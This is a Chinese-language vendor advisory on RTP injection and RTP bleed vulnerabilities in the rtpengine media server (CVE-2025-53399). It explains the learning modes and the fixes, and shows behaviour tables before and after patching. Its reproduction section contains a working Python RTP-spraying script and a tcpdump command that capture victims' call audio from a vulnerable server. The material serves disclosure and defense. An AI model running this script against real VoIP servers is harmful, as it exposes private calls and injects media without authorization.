Rtpengine RTP注入与RTP泄露漏洞深度解析(CVSS 9.3/严重)

本文详细分析了Rtpengine媒体服务器中存在的RTP注入和RTP泄露漏洞,即使正确配置也无法避免。漏洞影响包括媒体完整性和通话机密性,CVSS评分达9.3分。文章提供了技术细节、复现步骤和修复建议。

Rtpengine: RTP注入与RTP泄露漏洞(CVSS v4.0评分:9.3/严重)

漏洞概述

  • CVSS v4.0评分:9.3(严重)
    • 可利用性:高
    • 复杂度:低
    • 受影响系统:中等
    • 后续系统:中等
    • 利用影响:高
    • 安全要求:高
    • 向量:CVSS计算器链接
  • 其他参考:CVE-2025-53399(CVE记录
  • 修复版本:≥ mr13.4.1.1(发布页面
  • Enable Security公告ES2025-01详细
  • 测试受影响版本:mr13.3.1.4及更低版本
  • 时间线
    • 首次报告:2025-04-24
    • 分类处理:2025-04-30
    • 提供修复测试:2025-05-05
    • 多次往返和更多修复:2025-05/2025-06
    • 供应商满意地应用所有修复到主分支:2025-06-05
    • Enable Security验证并确认修复:2025-06-26
    • 供应商发布修复版本(mr13.4.1.1):2025-07-03
    • Enable Security公告:2025-07-31

描述

媒体服务器通常支持源地址学习,以动态适应网络条件和客户端行为。这在涉及NAT的场景中尤其有用,因为传入RTP数据包的源IP和端口可能与通过SIP over SDP最初信令的不同。然而,如果恶意数据包被接受为合法,此机制可能被利用进行两种攻击:

  1. RTP泄露 - 受害者的媒体(如音频)可以被重定向到攻击者控制的主机
  2. RTP注入 - 攻击者可以将任意RTP数据包插入活动通话中

注意:这两种攻击都不要求攻击者充当中间人。

此外,当rtpengine在易受攻击的版本中中继SRTP数据包时,它不验证其认证标签,尽管SRTP应该保证机密性和完整性,但仍然允许RTP泄露和RTP注入。它不丢弃缺失或无效认证标签的数据包,而是转发它们进行处理。

本公告的目的是描述安全修复,旨在尽可能完全解决或至少减轻这些RTP泄露和RTP注入攻击。虽然由于RTP学习机制的内在性质,完全消除这些漏洞可能并不总是可行,但修复提供了安全态势的显著改进。

技术细节

Rtpengine通过--endpoint-learning选项提供以下学习模式:

  • delayed(默认):在延迟后从接收到的第一个RTP数据包学习源地址前等待3秒
  • immediate:从第一个传入数据包立即学习地址,无延迟
  • no-learning:完全禁用学习,这是唯一不脆弱但可能破坏NAT后客户端连接的模式
  • heuristic:结合3秒延迟和排名系统,优先匹配原始SDP的地址,必要时回退到部分匹配或任何观察到的地址

此外,rtpengine支持可选的严格源标志,强制持续检查传入RTP数据包的源地址和端口。它在学习阶段后执行此操作,强制执行先前学习的内容。严格源标志旨在防止RTP注入,但需要学习模式按预期工作才能正确运行。

通常推荐的缓解措施是利用SRTP,假设rtpengine会丢弃任何认证标签检查失败的RTP数据包。然而,在rtpengine mr13.3.1.4及更低版本中,使用SDES-SRTP时并非如此。

以下是rtpengine版本mr13.3.1.4及更低版本的行为矩阵,显示不同学习模式和标志。此表显示,除了严格源与无学习组合外,没有学习模式或严格源减轻了所述攻击:

Delayed Heuristic No learning Immediate
no strict source Inject, Bleed Inject, Bleed Inject only Inject, Bleed
strict source Inject, Bleed Inject, Bleed No Inject or Bleed Inject, Bleed

无论rtpengine中继明文RTP还是SDES-SRTP,都出现相同行为。即使正确的IP和端口通过SDP交换,启发式标志也未防止RTP泄露或RTP注入攻击。

更新版本中,rtpengine的启发式行为已更改,因此学习模式按预期行为,为管理员提供减轻这些漏洞的机会,同时仍处理NAT复杂性。

以下是相同行为矩阵,但使用修复版本:

Delayed Heuristic No learning Immediate
no strict source Inject, Bleed Inject, <5 packets Bleed Inject only Inject, Bleed
strict source Inject, Bleed <5 packets Inject, <5 packets Bleed No Inject or Bleed Inject, Bleed

这意味着使用更新版本,启发式模式将攻击限制在最多前5个数据包,用于注入和泄露。 我们认为,在许多实时环境中,推荐的设置是使用启发式学习与严格源,这保持了端点学习的灵活性,同时显著减轻RTP注入和RTP泄露攻击。

对于SDES-SRTP,我们还建议使用启发式学习模式与严格源,这保持了端点学习的灵活性,同时减轻RTP注入和RTP泄露。然而,对于SRTP的完全保护,通过添加新的recrypt标志引入了特定于SRTP的补丁。此标志强制rtpengine解密然后重新加密RTP数据包,从而在任何进一步处理前验证认证标签。这确保未认证的数据包被丢弃。此新标志应与先前推荐的学习模式和标志一起使用。

SDES-SRTP的修补版本行为矩阵,有和无recrypt:

Delayed Heuristic No-learning Immediate
Without recrypt Inject, Bleed Inject, <5 packets Bleed Inject only Inject, Bleed
With recrypt No Inject or Bleed No Inject or Bleed No Inject or Bleed No Inject or Bleed

DTLS-SRTP的特殊情况,通常用于WebRTC环境,被发现易受RTP泄露但不受RTP注入影响。这是由于在此情况下应用的逻辑,学习模式发生在RTP数据包被正确验证之前。这也收到了安全修复。

影响

在明文RTP的情况下,此漏洞允许攻击者执行RTP注入以及RTP泄露。RTP注入影响媒体的完整性,而RTP泄露影响通话的机密性。

在rtpengine中继明文RTP以及中继SRTP(在易受攻击版本中)的情况下,漏洞将导致拒绝服务,因为RTP数据包将发送给攻击者而不是合法接收者。

如何复现问题

要以可靠方式复现此问题,安全测试员需要三个不同方,每个都有自己的IP地址:

  1. 易受攻击的rtpengine服务器
  2. 攻击者节点
  3. 受害者用户节点

步骤:

  1. 在攻击者节点上运行tcpdump以监视来自目标的传入数据包:

    1
    
    tcpdump -iany -w /tmp/rtpbleed.pcap src host <target_ip> and not icmp
    
  2. 将以下Python脚本保存为sprayrtp.py:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    import socket, argparse
    
    parser = argparse.ArgumentParser(description="Spray simple RTP packets over a port range")
    parser.add_argument("target", help="Target IP address")
    parser.add_argument("start_port", type=int, help="First UDP port to spray")
    parser.add_argument("end_port",   type=int, help="Last UDP port to spray")
    args = parser.parse_args()
    
    rtppacket=[0x80, 0x0, 0xee, 0x3c, 0x4, 0x42, 0xa2, 0xc1, 0xef, 0xa, 0x7, 0xde]
    rtppacket+=[0x0 for _ in range(160)] 
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while True:
        for port in range(args.start_port, args.end_port + 1):
            sock.sendto(bytes(rtppacket), (args.target, port))
    
  3. 在攻击者节点上针对目标运行脚本:

    1
    
    python3 sprayrtp.py <target_ip> <start_port> <end_port>
    
  4. 从受害者用户节点,拨打多个使用SRTP的通话。

  5. 观察攻击者节点上的tcpdump将显示来自易受攻击目标的传入数据包。

注意:SIP信令服务器(如Kamailio或OpenSIPS)通常也是设置的一部分。

解决方案和建议

建议升级到修复版本,并完全禁用学习或使用启发式学习模式与严格源标志结合。使用SDES-SRTP时,建议同时使用严格源和recrypt标志以获得完全保护。虽然启发式模式的修复已向后移植到早期版本,但新的recrypt标志仅在最新版本中可用。对于DTLS-SRTP,已进行修复,因此SRTP验证在学习模式之前发生。我们强烈建议升级以访问这些安全功能。

包含修复的第一个版本可在https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1获得。

关于Enable Security

Enable Security(https://www.enablesecurity.com)提供高质量的渗透测试,帮助保护您的实时通信系统免受攻击。

免责声明

公告中的信息在发布时基于当前可用信息被认为是准确的。使用此信息构成按"原样"条件接受的用途。此信息无任何保证。作者和出版商均不对因使用或依赖此信息而产生的任何直接、间接或后果性损失或损害承担任何责任。

披露政策

本报告受Enable Security的漏洞披露政策约束,可在https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy找到。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计